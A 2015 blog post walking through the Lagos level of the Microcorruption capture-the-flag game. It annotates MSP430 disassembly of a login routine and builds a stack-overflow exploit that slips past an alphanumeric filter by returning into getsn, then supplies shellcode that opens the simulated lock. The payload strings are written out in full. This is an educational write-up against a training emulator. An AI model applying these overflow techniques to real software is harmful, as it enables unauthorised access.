# Fun with Assembly 17: Beating constraints

Posted by Hywel Carver on September 3, 2015

This is the seventeenth in a series. You might want to read the previous post before reading this.

This post is based on the Lagos level on microcorruption.com. Like last time, we’re trying to find an input to open a lock without knowing the correct password, using knowledge of assembly language.

# First steps

The introduction to this level tells us that the passwords have to be alphanumeric which is going to mean bytes between `0x30-0x39`, `0x41-0x5a` and `0x61-0x7a`. Let’s look at the `login` function.

``````455e <login>
455e:  0b12           push  r11
4560:  3150 f0ff      add   #0xfff0, sp
``````

Add 16 bytes to the stack.

``````4564:  3f40 7044      mov   #0x4470 "Enter the password to continue.", r15
4568:  b012 6046      call  #0x4660 <puts>
456c:  3f40 9044      mov   #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4570:  b012 6046      call  #0x4660 <puts>
4574:  3f40 c544      mov   #0x44c5 "Due to some users abusing our login system, we have", r15
4578:  b012 6046      call  #0x4660 <puts>
457c:  3f40 f944      mov   #0x44f9 "restricted passwords to only alphanumeric characters.", r15
4580:  b012 6046      call  #0x4660 <puts>
``````

Print out some messages.

``````4584:  3e40 0002      mov   #0x200, r14
4588:  3f40 0024      mov   #0x2400, r15
458c:  b012 5046      call  #0x4650 <getsn>
``````

Get up to 512 (`0x200`) bytes of input at `0x2400`.

``````4590:  5f42 0024      mov.b &0x2400, r15
4594:  0e43           clr   r14
4596:  7c40 0900      mov.b #0x9, r12
459a:  7d40 1900      mov.b #0x19, r13
``````

Set things up for the next block of iteration… `r14` will end up being the length of the string.

``````45a0:  0b41           mov   sp, r11
45a4:  cb4f 0000      mov.b r15, 0x0(r11)
45a8:  5f4e 0024      mov.b 0x2400(r14), r15
45ac:  1e53           inc   r14
``````

`r11` points to the next byte to save to on the stack, move the next byte from the input there. Then get the next byte ready for the next iteration.

``````45ae:  4b4f           mov.b r15, r11
45b0:  7b50 d0ff      add.b #0xffd0, r11
45b4:  4c9b           cmp.b r11, r12
``````

If (the next byte - `0x30`) <= 9 and >= 0 (to avoid overflow), continue writing it. (i.e. the byte is `>= 0x30` and `<= 0x39`)

``````45b8:  7b50 efff      add.b #0xffef, r11
45bc:  4d9b           cmp.b r11, r13
``````

If (the next byte - `0x41`) <= 19 and >= 0, continue writing it. (i.e. the byte is `>= 0x41` and `<= 0x5a`).

``````45c0:  7b50 e0ff      add.b #0xffe0, r11
45c4:  4d9b           cmp.b r11, r13
``````

And if (the next byte - `0x61`) <= 19 and >= 0, continue writing it. (i.e. the byte is `>= 0x61` and `<=0x7a`).

So the whole password will be written onto the stack, right up until the first character that isn’t alphanumeric.

``````45c8:  c143 0000      mov.b #0x0, 0x0(sp)
``````

Make the first byte on the stack `0x0`, because the first character in the input actually gets written twice (because `0x459e` jumps to `0x45ae` when it should probably be jumping to `0x45ac`, to increment `r14` ready for the next iteration).

``````45cc:  3d40 0002      mov   #0x200, r13
45d0:  0e43           clr   r14
45d2:  3f40 0024      mov   #0x2400, r15
45d6:  b012 8c46      call  #0x468c <memset>
``````

Set all the bytes that might have been touched by the input directly (`0x200` bytes from `0x2400` onwards) to `0x0`.

``````45da:  0f41           mov   sp, r15
45dc:  b012 4644      call  #0x4446 <conditional_unlock_door>
45e0:  0f93           tst   r15
45e4:  3f40 2f45      mov   #0x452f "Access granted.", r15
45ea:  3f40 3f45      mov   #0x453f "That password is not correct.", r15
45ee:  b012 6046      call  #0x4660 <puts>
``````

Send the password to the door lock and tell the user whether it was right or not.

``````45f2:  3150 1000      add   #0x10, sp
45f6:  3b41           pop   r11
45f8:  3041           ret
``````

Clear up the stack.

# Developing an exploit

We have a lot of bytes of input we can use, and we can clearly overflow the stack. However we can only use bytes between `0x30-0x39`, `0x41-0x5a` and `0x61-0x7a`.

For the door to open, we eventually need to get to calling `0x10` with the right value in the status register (`sr`). `0x10` is going to be impossible for us to pass through the password string though. However, it is used by the `INT` function, which is at `0x45fc`. We can’t pass both of those bytes through the password though. However, there are several instructions where the `INT` function is called, which we could return directly onto. But then we have to work out how to get the right arguments there.

This is looking pretty complicated. Looking at the other functions we have, we could drop into `getsn` - that way we might be able to get more input, that isn’t constrained to be alphanumeric.

If we dropped into `0x4654`, the next 3 byte-pairs on the stack would be the address to write to, the number of bytes to write, and then the address `getsn` will return to. Let’s choose the address to write to to be on the stack, and let’s then return to the same address. For example, `0x4430` for all 3 will write up to `0x4430` bytes and then execute them.

With some spacer bytes to get beyond the allocated stack input: `4141414141414141414141414141414141` + `5446` to return into `getsn` + `304430443044` to get the input and run it.

When prompted for more input, we just have to enter the code we want to run.

``````push #0x7f
call  #0x45fc
``````

assembles to `30127f00b012fc45`. so that’s what we enter.

# The door springs open

This is a fun exploit. As usual, the pattern is to take the limitation (of alphanumeric-only input) and then find a way to get around it. Here, that means using `getsn` to allow for unconstrained input.